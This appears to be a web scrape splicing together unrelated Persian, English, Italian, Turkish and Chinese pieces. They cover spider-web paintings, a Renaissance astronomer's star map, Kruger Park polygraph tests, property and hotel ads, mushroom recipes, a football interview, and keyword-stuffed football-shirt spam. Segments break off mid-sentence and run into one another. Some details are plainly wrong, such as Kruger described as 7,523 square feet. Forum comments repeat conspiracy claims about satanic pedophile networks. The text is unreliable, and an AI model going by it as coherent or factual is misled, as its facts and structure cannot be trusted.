Two important essays by LeWitt defined the new movement: “Paragraphs on Conceptual Art” (1967) and “Sentences on Conceptual Art” (1969). The earlier text proclaimed: “The idea becomes a machine that makes the art.”به گزارش برترین ها، چه کسی فکرش را می کند که رشته های ابریشمی و ریز و ظریف تار عنکبوت می تواند به شکل بومی بافته شود که بتواند ضربات قلم موی یک هنرمند را تحمل ک
وقتی تارعنکبوت بوم نقاشی می شود! (+تصاویر)
عبارات مهم : نقاشی
به گزارش برترین ها، چه کسی فکرش را می کند که رشته های ابریشمی و ریز و ظریف تار عنکبوت می تواند به شکل بومی بافته شود که بتواند ضربات قلم موی یک هنرمند را تحمل کند؟
نقاشی های تار عنکبوتی روی پارچه هایی از جنس تار عنکبوت یا ابریشم کاترپیلار ها کشیده می شوند. تارهای عنکبوت از محیط زیست جمع شده است و انشعاب های اضافی، بخش های حشرات و فضولات عنکبوت که در آن گیر کرده، با احتیاط جدا می شود. بعد از اینکه تار با دقت پاکسازی شد، به شکل یک بوم نازک بافته می شود. روی این بوم پوششی از شیر رقیق شده است اعمال می شود تا مقاومتش زیاد شود. این بوم حالا آماده نقاشی هست، ولی هنوز بسیار آسیب پذیر هست. حتی یک ضربه آرام انگشت می تواند نقاشی های تار عنکبوتی را کاملا نابود کند. البته هرچه این بوم ها آسیب پذیرتر بودند، ارزشمند تر بودند.
به مشکل می توان توضیح داد که آیا راهبان چنین راه مشکل را جهت ایجاد چیزی پیش می گرفتند که حتی نسبت به یک لمس آرام اینقدر آسیب پذیر هست. شاید با ساخت دشوارترین بوم های قابل تصور، به دنبال نشان دادن از خودگذشتگی معنوی و صبر و بردباری خود بودند.
به گزارش برترین ها، چه کسی فکرش را می کند که رشته های ابریشمی و ریز و ظریف تار عنکبوت می تواند به شکل بومی بافته شود که بتواند ضربات قلم موی یک هنرمند را تحمل ک
هنرمندان از انواع آبرنگ های مات جهت کشیدن این نقاشی ها استفاده می کردند. ولی پیش زمینه نقاشی ها معمولا رنگ نشده رها می شد، بنابراین هنگامی که آن ها را برابر نور می گرفتید، به نظر می رسید شخصیت های نقاشی در غباری کدر معلق هستند. ماهرترین بازیگران و صورت های معروف می توانستند حتی با وارد آوردن مقدار مناسبی فشار به بوم برجسته کاری کنند.
اولین نقاشی های تار عنکبوتی تصویرهای قدیس ها بودند و در پنجره کلیسا ها و صومعه ها آویزان می شدند. هرچه این تکنیک مرسوم تر شد، نقاشی های تارعنکبوتی در منزل ها و بازار ها هم مشاهده شدند. هنرمندی به نام فرانز آنتربرگر (۱۸۳۸-۱۹۰۲) سایر بازیگران و صورت های معروف محلی اینسبروک را جهت تولید پرتره های تارعنکبوتی استخدام کرد و سپس آثار آن ها را به گردشگران می فروخت. این نقاشی ها به انگلستان، آمریکای شمالی و آلمان صادر می شدند. به مرور وقت عنوان این نقاشی ها متنوع تر شد. در قرن نوزدهم و اوایل قرن بیستم بازیگران و صورت های معروف تارعنکبوتی اینسبروک، مناظر و صحنه هایی از جنگ های استقلال و دهقانان محلی را نقاشی می کردند.
امروزه هیچ هنرمند تارعنکبوتی در دنیا وجود ندارد. آخرین هنرمند تارعنکبوتی ماهر اهل تنسی آمریکا بود که در سال ۱۹۵۶ درگذشت. آنه برادشاو کلاپتون این هنر را در آخرهای دهه ۱۸۹۰ کشف کرد بعد از اینکه در ۱۱ سالگی در یک مجله راجع به آن خواند. او شروع به تمرین کرد و در نهایت به رازها این هنر دست یافت. آنه طی چند دهه یاد گرفت گونه هایی از عنکبوت را شناسایی کند که محکم ترین تار را تولید می کنند. همچنین او ترکیب نقاشی خاص خودش را ایجاد کرد که می توانست در برابر خم شدن، شکافتن و کشیده شدن دوام بیاورد. او نقاشی خود را با استفاده از ذره بین و قلم موی تک مو به صورت نقاط میکروسکوپی می کشید و به زحمت شکاف بین تک تک رشته های تار را پر می کرد. حتی کوچکترین اثر هنری او هم مشمول بر هزاران نقطه می شد و چند هفته طول می کشید. متاسفانه زیاد نقاشی های آنه گم یا نابود شده است اند. بعضی از آن ها بعد از مرگش به موزه ملی تاریخ آمریکا در واشنگتن دی سی
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�اه های صنعتی کشور و بررسی آمار طرح های صنعتی در حال احداث و تطابق آن با توانمندی های ذکر شده پایانه در تامین و ارایه خدمات مورد نیاز صادرات کنندگان و وارد کنندگان، احداث پایانه های عام صادراتی داستان های کشور جهت افزایش سهم صادرات استان ها و ترانزیت استان های کشور با اولویت به کشورهای همسایه و سایر کشورهای طرف معامله به عنوان یک ضرورت بوده و حتی منجر به ظرفیت سازی در کلیه بخش های اقتصادی خواهد شد.
خلاصه بررسی فنی، مالی و بازار طرح احداث پایانه صادراتی
نرخ برابری دلار : 23000 تومان
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نرخ بازده داخلی : 31 درصد@
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سیاست های اشتغال
اهمیت عملکرد دولت محلی در ساختار اشتغال شهری؛ (مطالعه تطبیقی شهرهای تهران و مونترال)(مقاله علمی وزارت علوم)
حوزه های تخصصی:
مقاله حاضر به بررسی نقش و تأثیر نگرش ها، سیاست ها و عملکردهای دولت محلی (به عنوان یکی از عوامل مؤثر بر تقاضای نیروی کار) بر ساختار و وضعیت اشتغال در شهرهای تهران و مونترال کانادا پرداخته است. روش تحقیق این مطالعه از نوع توصیفی- تحلیلی می باشد. جمع آوری اطلاعات به شیوه های مشاهدات مستقیم، مطالعه اسناد، گزارش ها، اطلاعات منتشره از سوی نهادهای رسمی و مصاحبه با کارشناسان داخلی و خارجی به دست آمده است. یافته های مطالعه نشان می دهد که تفاوت های نظام برنامه ریزی و سیاست های مدیریت شهری دو کشور به طور عام و دو شهر تهران و مونترال به طور خاص در وضعیت و میزان اشتغال و بیکاری، تأثیر بسزایی دارد. این تأثیر هم در بعد کمی و هم در بعد کیفی قابل مشاهده است. نتایج مطالعه تطبیقی نظام مدیریت محلی شهرهای تهران و مونترال بیان می دارند که در هر دو شهر، مقوله اشتغال و توسعه فضای کسب و کار به صورت گوناگون مورد توجه قرار گرفته و در هر دو کلان شهر مورد مطالعه (اگرچه به طور متفاوت) برنامه ها، استراتژی ها و اقدامات اجرایی برای ایجاد اشتغال و فعالیت های کارآفرینانه انجام شده است. اما در مقایسه، ضعف بسترهای قانونی و حقوقی، مشارکت اندک بخش خصوصی، عدم وجود ارتباط متقابل اقدامات شهرداری ها با اسناد و برنامه های فرادست و ... از جمله مسایل و مشکلات پیش روی نظام مدیریت شهر تهران در ایجاد اشتغال و ساماندهی فضای کسب و کار است؛ لذا شناخت و تبیین ساخت اجتماعی- فرهنگی اشتغال شهری و تأثیر نظام مدیریت محلی بر کم و کیف آن می تواند تصمیم سازان و تصمیم گیران را در ایجاد، ساماندهی و برنامه ریزی صحیح اشتغال یاری نماید.
سیاست های کلی اشتغال زنان در نظام حقوقی حاکم بر جمهوری اسلامی ایران و مقایسه آن با اسناد بین المللی(مقاله علمی وزارت علوم)
منبع: فصلنامه فرهنگی - تربیتی زنان و خانواده (فرهنگی - دفاعی زنان و خانواده سابق) سال هشتم زمستان ۱۳۹۲ شماره ۲۵
حوزه های تخصصی:
این مقاله بر آن است تا سیاست های اشتغال زنان، درنظام حقوقی جمهوری اسلامی ایران را در مقایسه با حقوق بین الملل مورد بررسی قرار دهد. لذا در این راه به عملکرد سازمان بین المللی کار و سازمان ملل متحد در قلمرو اشتغال زنان و حمایت های حقوقی و بین المللی آن از طریق تهیه و تنظیم اسناد و معاهدات بین المللی و برگزاری کنفرانس های بین المللی حقوق بشر پرداخته است. همچنین قوانین بین المللی با قانون اساسی و قوانین عادی کشور ایران مقایسه شده و وضع سیاست های کلی و خاص اشتغال زنان، ازجمله زنان سرپرست خانوار و زنان خانه دار مورد توجه قرار گرفته و اثر سیاست گذاری های مکمل در ایجاد دگرگونی در نظام اشتغال زنان بررسی شده است. این تحقیق به روش توصیفی و تحلیلی انجام شده وشیوه جمع آوری و تدوین آن به روش تحقیق کتابخانه ای است که با استفاده ازاسناد و مدارک قوانین ملی، سازمان ملل متحد، سازمان بین المللی کار، کتب، مقالات و غیره است. هدف از این تحقیق، شناخت سیاست های کلی اشتغال زنان و یافتن راهکارهایی دربرخورد با مسائل داخلی و بین المللی اشتغال زنان، موضع گیری مناسب و مؤثر در کنفرانس ها، امضا و انعقاد معاهدات بین اللملی خاص زنان استعربستان و روسیه روز گذشته برای هم
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16th century German ruler,” as the Times of London puts it.
But now, all of a sudden, Wilhelm is being hailed as one of the late Renaissance’s most important scientists, deserving “a place among the forebears of the Enlightenment,” according to the Times. This is high praise given that, very broadly speaking, the Renaissance and the Enlightenment are the innovative, forward-looking periods of European history that separated the plague-filled Dark Ages from our own plague-filled Modern Era.
Wilhelm, born in 1532, was a landgrave—a noble title that is something like the old German equivalent of a duke. As aristocrats go, he kept extremely busy, helping to smooth over messy religious disputes in his corner of the world while coping with more mundane administrative and financial headaches. He also had eleven children with his wife, Sabine of Württemberg, and several more children out of wedlock, so his plate was definitely full.
But from an early age Wilhelm took a passionate interest in science, particularly astronomy. Better yet, he was good at it. Johannes Kepler, one of the era’s most accomplished astronomers—he figured out how orbits work—later wrote of Wilhelm: “[H]is industriousness and diligence in the celestial science were bigger than one would look for in a sovereign.” This is modest praise, but praise nonetheless.
Even before he succeeded his father at the age of 36, Wilhelm had built an observatory at the family’s castle. After he became landgrave he brought in an expert Swiss clockmaker to fabricate instruments that would allow him to update the star map charted by the ancient Egyptian or Roman or Greek astronomer Ptolemy, which was still in use even though by that point it was 1,600 years old.
Wilhelm and his collaborators produced a far more accurate map in 1587—telescopes still hadn’t been invented, by the way—but their work wasn’t widely circulated until nearly 80 years later. By that time, unfortunately for Wilhelm’s historical reputation, European stargazers were in thrall to a map made by the Danish astronomer Tycho Brahe, who had studied with Wilhelm and adopted some of his innovations.
The end result: Brahe got craters on the moon and Mars named after him, plus a planetoid in the asteroid belt, while Wilhelm doesn’t even have a freeway overpass in his honor.
This isn’t meant to cast shade on Brahe, an excellent astronomer who is also worth remembering for the cool brass nose he wore after his flesh nose was sliced off during a duel with swords. And it’s hard to feel too sorry for a landgrave.
But you’re reading about Wilhelm now because two astronomy professors, one German, one Dutch, have just published a paper that analyzes Wilhelm’s star map and claims it was more than twice as accurate as Brahe’s, and even pretty impressive by today’s standards. As the paper states, Wilhelm’s “crucial contribution” was “being the first to alert the European astronomical world to the need of new observations for more accurate positions of the stars… and to act on it!”
Given the scarcity of italics and exclamation points in academic papers, that’s extremely high praise. Wilhelm may get his craters yet.
Pinocchios, beware! South Africa’s Kruger National Park has unveiled plan requiring all new staff to undergo lie-detector tests, in an effort to combat poachers the park believes have infiltrated its ranks.
Kruger National Park, a 7,523-square-foot strip of savanna in the northeast of the country, is home to the largest concentration of rhinoceroses in the world—and the target of countless poachers. In the past ten years alone the park has lost two-thirds of its rhino population to poachers who hunt the endangered animals for their horns. The horns are sold to illegal markets primarily in Asia, where they are seen as status symbols and fetch prices of over $35,000 per pound. Their extracts are also used in traditional medicine formulas.
The Kruger rhinos are protected by a staff of about 400 park rangers, but the park has suspicions that their ranks have been infiltrated by organized groups of illegal hunters who want to kill the rhinos for their horns. Over 40 park staff members have been fired due to connections to the killing of rhinos to date, though only one has been convicted of a crime.
“We know that our staff are approached to provide information and that sums of money involved are big,” Ike Phaahla, a representative from the park, told The Times of London. “We do have suspicions that some of the rangers have been planted there by gangs, but this is difficult to prove if you don’t have clear evidence.”
The park hopes that a polygraph (which consists of sensors attached to a person that flags lies by measuring changes in heart rate, blood pressure, and breath) will expose corrupt individuals, and keep Kruger’s precious rhinos safe.Baan Songjum Homestay si trova a 7,1 km dall'aeroporto e offre una navetta da e per l'aeroporto (su richiesta) a un costo di 250 THB per veicolo solo andata. Tra i servizi gratuiti sono inclusi Wi-Fi e colazione da portare via servita tutti i giorni dalle 7:00 alle 10:00. Inoltre, luoghi d'interesse come Museo Nazionale di Chiang Mai e Chiang Mai City Arts & Cultural Center si trovano a poca distanza in auto dalla struttura.Grande gioco di strategia, si preparano per una battaglia medievale, dove sarà il comandante di arcieri, guerrieri, spadaccini e procedure guidate, è possibile aggiornare le vostre difese e le unità dalla tua torre acquistare questi miglioramenti ed essere pronti per la grande guerra tra clan, guidare la vostra unità alla guerra con 12 livelli unici con i loro eroi Super. Si prega di fare riferimento alla in-game tutorial per questo gioco di strategia di fantasia scorrimento laterale.
Ti piace Clan Wars 2 - Red Reign? Condividi con i tuoi amici !!
Condividi link:Complimenti estremi ed esagerati possono creare un eccesso di tensione e di pressione – in termini alte aspettative da soddisfare- proprio in coloro che hanno scarsa autostima.
Come e quanto lodare i propri figli, tema rilevante e delicato su cui pone l’attenzione una nuova ricerca che a breve verrà pubblicata su Psychological Science. Punto primo sembra che i genitori e altri adulti significativi ricoprano di lodi proprio quei bimbi che sono più sensibili alle lodi e ai complimenti, e cioè a coloro che hanno una bassa autostima.
Mentre i bambini con elevati livelli di autostima sembrano beneficiare di queste lodi in un’ottica di aumento di self-confidence, i piccoli con bassa autostima nel momento in cui si ritrovano investiti di lodi battono in ritirata come se volessero sfuggire da nuove sfide e alte aspettative implicitamente veicolate dai complimenti dell’adulto. Proprio come se, per un effetto paradosso, l’esagerazione delle lodi andasse a colpire criticamente chi –secondo l’agire comune – ne avrebbe più bisogno.
Ma cosa si intende esattamente per “una mole di lodi e complimenti esagerata”? Non immaginatevi grandi sviolinate, basta poco nelle interazioni quotidiane tra adulto e bambino per rendere un complimento eccessivo. Spesso basta una sola parola, ad esempio un avverbio come “incredibilmente” oppure il fantomatico aggettivo “perfetto”.
In un altro studio – parte della stessa ricerca- circa un centinaio di famiglie sono state reclutate e videoregistrate nelle loro case, durante una sessione sperimentale in cui ai genitori è stato chiesto di presenziare durante alcuni esercizi di matematica effettuati dai loro figli, e in seguito di fornire un feedback rispetto all’esecuzione dell’esercizio.
I risultati hanno dimostrato che circa il 25% delle lodi erano di fatto classificabili nella categoria di eccessive, nuovamente i genitori erano portati a rivolgere tali lodi eccessivi in misura maggiore nei confronti dei bambini con bassi livelli di autostima.
Una possibile credenza naif dei genitori– magari neppure tanto consapevole- che supporta tale fenomeno è che “i bambini che credono meno in sé stessi necessitano di extra complimenti per sentirsi meglio”.
Il punto è che tali dosi extra di lodi e complimenti possono essere addirittura controproducenti. In un altro esperimento ai bambini veniva richiesto di creare una copia di un famoso dipinto, a seguito del quale gli sperimentatori consegnavano dei feedback sotto forma di un complimento esagerato oppure un feedback positivo adeguato. Dopo questi step ai bambini veniva nuovamente richiesto di applicarsi nella copia di un dipinto lasciando però loro liberi di scegliere tra un range di figure esplicitamente definite come più semplici o più difficili.
Dai dati è emerso che i bambini con bassa autostima erano più facilmente portati a scegliere di eseguire le figure definite come più semplici se avevano ricevuto una lode eccessiva, al contrario dei soggetti con elevata autostima che – aseguito della lode esagerata – decidevano di riprodurre proprio i disegni più difficili.
In conclusione complimenti estremi ed esagerati possono creare un eccesso di tensione e di pressione – in termini alte aspettative da soddisfare- proprio in coloro che hanno scarsa autostima.
LEGGI:
BIBLIOGRAFIA:
- Mikulak, A., When Being Called “Incredibly Good” Is Bad for Children, January 2, 2014, Psychological Science.
- Fogg, A., The art of praising children – and knowing when not to, 7 January 2014The Guardian
- Joyce, A., Stop heaping praise on your kids, January 6, The Washington PostLa creazione e la perpetuazione della scarsità, è un pre-requisito per il mantenimento dei sistemi dittatoriali. È in gran parte attraverso la produzione di scarsità che questo sistema si mantiene, utilizzando la paura del dolore come principale motivatore per il suo funzionamento.
Certo, le condizioni ambientali o altri fattori possono portare a scarsità reali, ma la scarsità artificiale viene costantemente creata dalla classe politica e dall’economia attraverso il consumo eccessivo, lo spreco, lo sfruttamento, la guerra o la preparazione alla guerra, il saccheggio ambientale e l’incapacità di investire in capitale umano di alta qualità, non dando valore alla cura e all’assistenza…
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Il Segreto in Tasca
Manuale delle migliori citazioni di Joe Vitale sulla legge d'attrazione
di Joe Vitale
Scopri il libro del Dr. Joe Vitale "Il Segreto in Tasca": un manuale tascabile delle migliori citazioni di Joe Vitale sulla legge d'attrazione
Negli ultimi 25 anni il Dr. Joe Vitale ha aiutato le persone a elevare il loro pensiero grazie ai suoi libri di crescita personale, programmi, musica, eventi e molto altro.
Le sue parole hanno ispirato milioni di persone e sono state fonte di dichiarazioni, note di incoraggiamento, tweet, immagini sui social media ecc... condivise in tutto il mondo.
Finalmente le più belle citazioni sulla legge di Attrazione del Dr. Joe Vitale sono state raccolte e organizzate sapientemente in un unico libro. Non perdertelo!
Un libro perfetto per chi:
- vuole avere sempre a portata di mano le perle di saggezza di Joe Vitale;
- ama utilizzare l'arte della Bibliomanzia, aprire un libro "a caso" per farsi ispirare;
- desidera conservare in un unico agevole volume le migliori citazioni sulla legge di Attrazione.
Il libro è organizzato in categorie libere, così che tu possa trovare ciò che cerchi quando ne hai bisogno. L'autore consiglia di leggere tutto il libro di seguito la prima volta. Poi, però, suggerisce di usarlo per la biblioterapia: quando hai in mente un'intenzione apri il libro, e lascia che la prima citazione che ti appare diventi il tuo oracolo.
Prendine la saggezza e, attraverso l'ispirazione, permettile di divenire quello di cui hai bisogno....
- Nathan Larson: ecco chi è l’uomo che vuole legalizzare la pedofiliaSe la pedofilia e una malattia non si puo legalizzarla. Inoltre e perseguibile penalmente.pietro
- Vladimir Putin: l'Occidente è controllato da Pedofili sataniciFinalmente qualcuno che vuole iniziare a distruggere la rete mondiale pedofila bravo PutinAlessandro Tassello
- Sentenze "oracolo": guai a criticarle!ne convengo,riguardo alle sentenze ingiuste.Effettivamente Questi Giudici della Corte ,chiusi nei loro paramenti Sacerdotali si sentono e credono di essere I Mosè che parlano per bocca del Loro Dio.Di quale dio poi non si sa...ma resta comunque il fatto che il popolo supinamente accetta tutto limitandosi alla sola critica verbale.In tempi Biblici,quando il dio di […]Rizzo Antonio
- Vitamina D: tra evidenze e mitiper me e' vero quello che dice il dr. alter .... e e' anche vero quello che dice giselia.....ivan
- Il Potere dei Gatti? Starebbe nel loro esoterismo...stupendo! Gli animali sono essere meravigliosigio
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anche se fatta come si deve, visto che si parla di Cinema!!! ..cazzo, non di mc)?
No.
Mollatemi.
mc
Messaggio orinale: https://old.luogocomune.net/site/newbb/viewtopic.php?forum=6&topic_id=5692&post_id=251494پروژه ای زیبا و بی نظیر در قبرس شمالی
این پروژه شامل آپارتمان های مدرن است که با طراحی به روز محیطی بسیار امن در شریان اصلی شهر ایجاد کرده است.
Sakarya, Famagusta, North Cyprus آپارتمان
پروژه با امکانات و امتیازات ویژه
پروژه ای که تمامی جزئیات برای زندگی راحت در نظر گرفته شده است، امکاناتی از قبیل کانسپت دفتر کار خانگی، سرویس اطلاعات و پذیرش، امنیت و ورودی کنترل شده، ماهواره مرکزی و اینترنت مرکزی سریع و… از مزیت های مهم این پروژه است.
امکانات
این یکی از محبوب ترین مناطق شهر است که در فاصله چند قدمی خیابان ساکاریا، مرکز خرید سیتی مال و بسیاری از مشاغل واقع شده است، “اسکای ساکاریا” به عنوان آخرین ساختمان از سه گانه در بسته همسایه گلدن رزیدنس و تراس زنده می شود. پارک در میان شناخته شده ترین فروشگاه ها، مارک ها و لوازم جانبی فاماگوستا، یک نقطه زندگی پر جنب و جوش با مغازه ها، دفاتر و اقامتگاه ها در گوشه و کنار آن قرار دارد.
فرصت سرمایه گذاری شگفت انگیز
این ساختمان که در زمینی به مساحت 5000 متر مربع تأسیس شده است، آماده تبدیل شدن به یک مرکز زندگی فعال است که موقعیت خود را با 11 فروشگاه بزرگ، دفتر، آپارتمان استودیویی، 1 + 1، 2 + 1 و 3 + 1 و پنت هاوس پر خواهد کرد. بلوک ها و طبقات تراس دار. پروژه بین دو شریان اصلی فاماگوستا در فاصله چند قدمی هر دو خیابان و در وسط جاده های حمل و نقل قرار دارد. این پروژه با نزدیکی به آدا کنت و دانشگاه مدیترانه شرقی به عنوان یک آدرس ایده آل برای سرمایه گذاری متمایز است. این واقعیت که بازده اجاره در منطقه ساکاریا 20 درصد بیشتر از سایر مناطق است، پیش پرداخت سالانه و افزایش ارزش منطقه مزیت بزرگی برای سرمایه گذاران ایجاد می کند.
نوعی مفهوم جدید در قلب شهر، Sky Sakarya
SKY Sakarya متشکل از 11 مغازه و 139 آپارتمان، آپارتمان های استودیویی، 1 + 1، 2 + 1 و 3 + 1 با بالکن های عریض و آپارتمان های پنت هاوس در قسمت های تراس دار را ارائه می دهد و جایگزین هایی برای پاسخگویی به هر نیاز و تقاضا برای اندازه تخت ارائه می دهد. در عین حال با کانسپت های طراحی شده Home-Office گزینه ای ویژه برای تغییر عادات کاری ایجاد می کند. قوس نیمه بسته ایجاد شده در زیر لبه های بلند جلوی مغازه ها در طبقه همکف با ایجاد فضای میانی محافظت شده از باران و آفتاب در مقابل مغازه ها به سرریز شدن زندگی تجاری کمک می کند. از قبل مشخص است که Sky Sakarya که درست در کنار پروژه های برنده جوایز Golden Residence و Terrace Park گروه Döveç افزایش می یابد، کاندیدای جوایز بسیاری نیز خواهد بود.
مرکز جدید کسب و کار و شادی
علاوه بر مغازه ها و کافه های مختلف زیر ساختمان، ساکنان Sky Sakarya می توانند از استخر سرپوشیده، سالن بدنسازی و امکانات اسپا در محدوده گلدن رزیدنس با امتیازات کارت زندگی Döveç بهره مند شوند. پارکینگ 163 خودرویی برای رفع نیازهای پارکینگ آپارتمان ها و مغازه ها در زمین خود طراحی شده است.
شرایط پرداخت
پیش پرداخت
30%
اقساط ماهیانه
36İstiridye Mantarı Nasıl Yapılır? En Kolay ve Lezzetli Tarifler
İstiridye mantarı nasıl yapılır, nasıl temizlenir, nasıl pişirilir ve nasıl yetiştirilir gibi soruların cevaplarını merak ediyorsanız, bu makale tam size göre. En kolay ve lezzetli istiridye mantarı tariflerini, faydalarını ve ipuçlarını sizin için derledik. İstiridye mantarı ile harikalar yaratmaya hazır mısınız?
İstiridye mantarı, son yıllarda ülkemizde de yetiştirilmeye
başlanan, hem besleyici hem de lezzetli bir mantar türüdür.
İstiridye mantarının faydaları saymakla bitmez: Protein, lif,
vitamin ve mineral açısından zengindir, bağışıklık sistemini
güçlendirir, kolesterolü düşürür, kansere karşı korur ve kilo
vermeye yardımcı olur. İstiridye mantarı nasıl yapılır diye merak
ediyorsanız, sizin için hazırladığımız bu makalede en kolay ve
lezzetli tarifleri bulabilirsiniz.
İstiridye Mantarı Nasıl Temizlenir?
İstiridye mantarı yapmadan önce nasıl temizleneceğini bilmek
önemlidir. İstiridye mantarını temizlemek için şu adımları
izleyebilirsiniz:
- İstiridye mantarını bıçakla sapından ayırın.
- Mantarın üzerindeki toprak veya kirleri yumuşak bir fırça
veya kağıt havlu ile nazikçe temizleyin.
- Mantarı yıkamaktan kaçının, çünkü suyu emer ve lezzetini
kaybeder.
- Mantarı istediğiniz şekilde doğrayın veya bütün bırakın.
İstiridye Mantarı Nasıl Yapılır?
İstiridye mantarını pişirmenin birçok yolu vardır. Tavada,
fırında, güveçte, çorba veya salatada kullanabilirsiniz. İşte
size birkaç örnek:
-
İstiridye Mantar
Sote
Tavada zeytinyağı ve tereyağı ile istiridye mantarını
kızartın. Üzerine sarımsak, tuz, karabiber, kekik, limon suyu
ve elma sirkesi ekleyin. Maydanoz ile süsleyerek servis yapın.
-
İstiridye Mantarlı
Tapas
Ekmek dilimlerinin üzerine zeytinyağı sürün ve fırında
kızartın. Başka bir tavada istiridye mantarını sarımsak, tuz,
karabiber ve kekik ile soteleyin. Ekmeklerin üzerine istiridye
mantarını paylaştırın. Dil peyniri veya mozzarella peyniri ile
servis yapın.
-
Fesleğenli Közde
İstiridye Mantarı
Fırın tepsisine istiridye mantarını yerleştirin. Üzerine
zeytinyağı, sarımsak, tuz, karabiber ve fesleğen yaprakları
serpin. Fırında 15 dakika pişirin. Domates, biber ve soğan ile
servis yapın.
-
İstiridye Mantarı
Tempura
İstiridye mantarını ince şeritler halinde kesin. Un, maden
suyu ve tuz ile hamur hazırlayın. Mantarları hamura bulayın ve
kızgın yağda kızartın. Tarator sosu veya yoğurtlu sarımsaklı
sos ile servis yapın.
-
Fırında
İstiridye Mantarİstiridye mantarını jülyen şeklinde doğrayın. Fırın
tepsisine yayın. Üzerine zeytinyağı, sarımsak, tuz, karabiber
ve kekik serpin. Fırında 10 dakika pişirin. Rendelenmiş kaşar
peyniri ile servis yapın.(Haber Merkezi)
PaylaşPerhaps one of the most important ideas to grasp in any discussion of music and
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اموش نکن در سال 85 امیر قلعه نویی می توانست یک استقلالی را دستیار خودش در تیم ملی کند، اما چنین فرصت طلایی را برای شما فراهم کرد پس قدردان باش.
البته این بحث ها مطرح شده که دوران مربیان سنتی گذشته است. در این رابطه چه نظری دارید؟
تاکتیک های فوتبال هرگز منسوخ نمی گردد. زمانی استقلال با همین امیر قلعه نویی به شیوه 2-5-3 بازی می کرد و عده ای مدعی بودند این سبک بازی کاملاً منسوخ شده است.
این حرف ها از روی تنگ نظری بود. همین حالا هم بعضی تیم ها 2-5-3 بازی می نمایند. عده ای از روی حسادت می گویند امیر قلعه نویی یک مربی سنت گرا است.
حتی اگر بر فرض محال چنین ادعایی درست باشد، باز هم دستیاران خارجی او که کاملاً علمی هستند و امیر به درستی از تجربیات شان استفاده می نماید. آیا واقعاً درست است چند روز دیگر یک مربی که چند سال از آقای پیروانی کوچک تر است، بیاید و بگوید : آقای افشین پیروانی، دوران شما دیگر تمام شده است؟
... و حرف آخر؟
بار دیگر می گویم افشین پیروانی دوست عزیز من است ولی اگر قرار باشد فردی در جمع پرسپولیسی های عزیز در خصوص تاریخ باشگاه استقلال حرف بزند، افراد خیلی عظیم تری نسبت به ایشان در مجموعه پرسپولیس حضور دارند که می توانند صحبت نمایند. اگر پیروانی از امیر قلعه نویی عذرخواهی کند، قطعاً در جامعه فوتبال احترام بیشتری به دست می آورد. درگیری سپاهان و پرسپولیس نباید پای عظیمان استقلال را به وسط بکشد.منبع: عصر ایرانComputer Science Online Courses
Computer Fundamentals Quizzes
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MCQ: Main types of networks are
MCQ: First step in process of problem solving is to
MCQ: File that contains suppliers data such as name, address and status of supplier is considered as
MCQ: The main types of programmers are
MCQ: Process of reading data from computers main storage and writing It to permanent storage is classified aspuivizm
1- puiv kendisi dışındaki tüm platformlardan üstündür ve daha işlevlidir.
2- puiv kullanan herkes puivin leyhine konuşmalı düşünmeli ve savaşmalıdır
3- bulunduğu diğer platformlarda puiv reklamları yapmalı ve puivizmin 1. kuralı gereğince kullandığı o platforma puivden daha çok bağlanmamalı
4- pui romanca horoz demektir o halde puivizm sembolü horozdur.
5- ilk 5 madde değiştirilemez :p
(pi: @sjense)Maglie calcio
Indice di Sviluppo Umano di Cirebon Regency, West Java non ha ancora sostenuto significativamente. Avendo precedentemente raggiunto il livello più basso di Java occidentale, ora solo il numero 19 in aumento.
In passato, la Regire di Cirebon era la maglie calcio
seconda più bassa in HDI come West Java. Ora alhamdulillah, per il distretto / città di West Java, Cirebon Regency è classificato 19 su 26 regency / città, ha dichiarato Regent Cirebon Purwadisastra Sunjaya a margine della sua visita al Lemahabang Radar maglie calcio
Cirebon segnalato Lunedi.
Visto dalla categoria dei distretti, regia di Cirebon nei primi 10 HDI in West Java. Se solo il distretto, noi siamo classificati 10 su 18 distretti nella Provincia del West Java, ha aggiunto.
Riconosciuto Regent Sunjaya, IPM Cirebon è ancora basso rispetto ad un certo numero di altri distretti della città. Tuttavia, continua ad aumentare lo sviluppo di Cirebon.
Precedentemente per 2 anni alcuni dei segmenti stradali precedenti sono stati pesantemente danneggiati e stanno cominciando senza problemi. Questo sforzo per laccesso al trasporto per essere liscio, in modo che limpatto sullaccelerazione del ritmo di sviluppo in ogni area.
La strada è rotta, abbiamo cominciato a riparare, anche alcune delle nostre strade concrete. Ovviamente ha ancora bisogno di molti miglioramenti qua e là. Questo sarà gradualmente migliorato, ha spiegato.
In questa occasione chiede alla comunità di mantenere la condusività regionale, considerando che la regia di Cirebon sarà lobiettivo degli maglie calcio
investitori.
Se accolti, ciò aumenta le entrate locali del settore fiscale e migliorerà le attività economiche delle comunità locali. Dato che la forza lavoro sarà assorbita. Chiedo alla comunità di sostenere questo programma , ha concluso.
JannahuH fotbollströjor
EloiseHai
TatianaVt fotbollströjor
AdamDarwi
LienSessi maglie calcio poco prezzo
SonOmispo
AlyssaVid fotbollströjor barn
RashadKin
RudolphSo maglie calcio a poco prezzo
WCPGenevi
KitMonizn fotballdrakter barn
EllisHodgWere the Crusades an early example of European colonialism? What value did the crusading frontier hold for the knights who fought to defend it? What was the relationship between the Crusades and the knightly culture of chivalry? To answer these questions requires a new approach to the Crusades, one focused as much on cultural production as military encounter.
In this lecture, we explore the nexus between three powerful forces that shaped the medieval world: holy war, knighthood, and the expansion of Europe.
In partnership with the Fulbright Commission摘要：
4月上旬，“2022年伟大的朗格（Grandi Langhe）”新年份葡萄酒预品活动在意大利皮埃蒙特首府都灵（Turino）举行。
ABSTRACT：
Grandi Langhe 2022 was held in Turino involved 2000 professionals and journalists from 15 countries around the world.
4月上旬，“2022年伟大的朗格（Grandi Langhe）”新年份葡萄酒预品活动在意大利皮埃蒙特首府都灵（Turino）举行。来自朗格（Langhe）和罗艾洛（Roero）地区的226家酒庄携最新年份葡萄酒参与了此次盛会。包括巴罗洛（Barolo）、巴巴莱斯科（Babaresco）在内的皮埃蒙特享誉世界的红葡萄酒共吸引了来自全球15个国家的2000 多位专业人士、媒体和爱好者。
除了展示最新年份的葡萄酒，今年的Grandi Langhe活动对朗格地区的葡萄酒产业升级进行了展望，吸引了金融界、物流界企业代表同台献策。此外，主办方还透露了希望将Grandi Langhe打造为都灵的国际葡萄酒展览盛会这一宏伟愿望。
图源 winenews
Grandi Langhe有望成为皮埃蒙特的国际葡萄酒盛会
